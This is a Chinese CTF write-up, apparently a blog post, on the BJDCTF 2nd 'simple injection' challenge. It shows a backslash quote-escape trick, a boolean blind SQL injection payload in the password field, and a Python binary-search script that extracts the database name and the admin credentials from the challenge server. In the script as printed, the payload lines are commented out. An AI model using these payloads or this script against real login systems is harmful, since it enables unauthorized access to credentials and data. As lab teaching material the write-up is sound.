[BJDCTF 2nd]简单注入---关于整数型注入的一些理解

本次以BJDCTF的题目,简单对整数型注入做一些讲解。

其实也是布尔盲注,但题目难度较低

首先进入界面:

在这里插入图片描述
看到的是比较友善的登录界面,考虑题目名称为简单注入,我们直接在密码栏输入 ',发现被过滤。

在这里插入图片描述
因此开始考虑整数型注入。

既然闭合了引号防止闭合,这里我们可以猜测后端代码,结合用户名输入进行注入。

在用户名中输入\,可以过滤掉用户名处的最后一个',这是password='这部分的第一个引号将会作为前面字符段的闭合,就可以构造整数型注入。

我们构建第一个payload:

username=a\
password=or length(database())>0#

发现回显改变:

在这里插入图片描述
说明我们的思路整体是正确的。

那么接下来就是写脚本爆了:

import requests
import time
url='http://e33486cf-7016-47df-b067-1515c685ffe5.node3.buuoj.cn/'

inf=''

for i in range(1,2000):
    low=32
    high=128
    mid=(low+high)>>1
    while low<high:
        time.sleep(0.1)
        data={
            'username':'aa\\',
            'password':''
        }
        # data['password']='or ascii(substr(database(),{},1))>{}#'.format(i,mid)
        # data['password'] = 'or ascii(substr((username),{},1))>{}#'.format(i, mid)
        # data['password'] = 'or ascii(substr((password),{},1))>{}#'.format(i, mid)
        re=requests.post(url=url,data=data)
        if 'stronger' in re.text:
            low=mid+1
        else:
            high=mid
        mid=(high+low)>>1
    if low==32 or high==128:
        break
    inf += chr(mid)
    print(inf)

脚本是相当简单的二分,至于import time的意义读者可以自行考虑。。。

其实这里select之类的是被过滤了的,但username与password居然没被过滤。。

姑且认为这是一道CTF题目吧。。

最后得到的回显中,username=admin,password=OhyOuFOuNdit

登录得到flag:
在这里插入图片描述

考察知识点:

双注,简单盲注,简单布尔注入

难度:

简单

总结:

咕咕了好久,后面该思考*CTF出题的最后步骤了。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值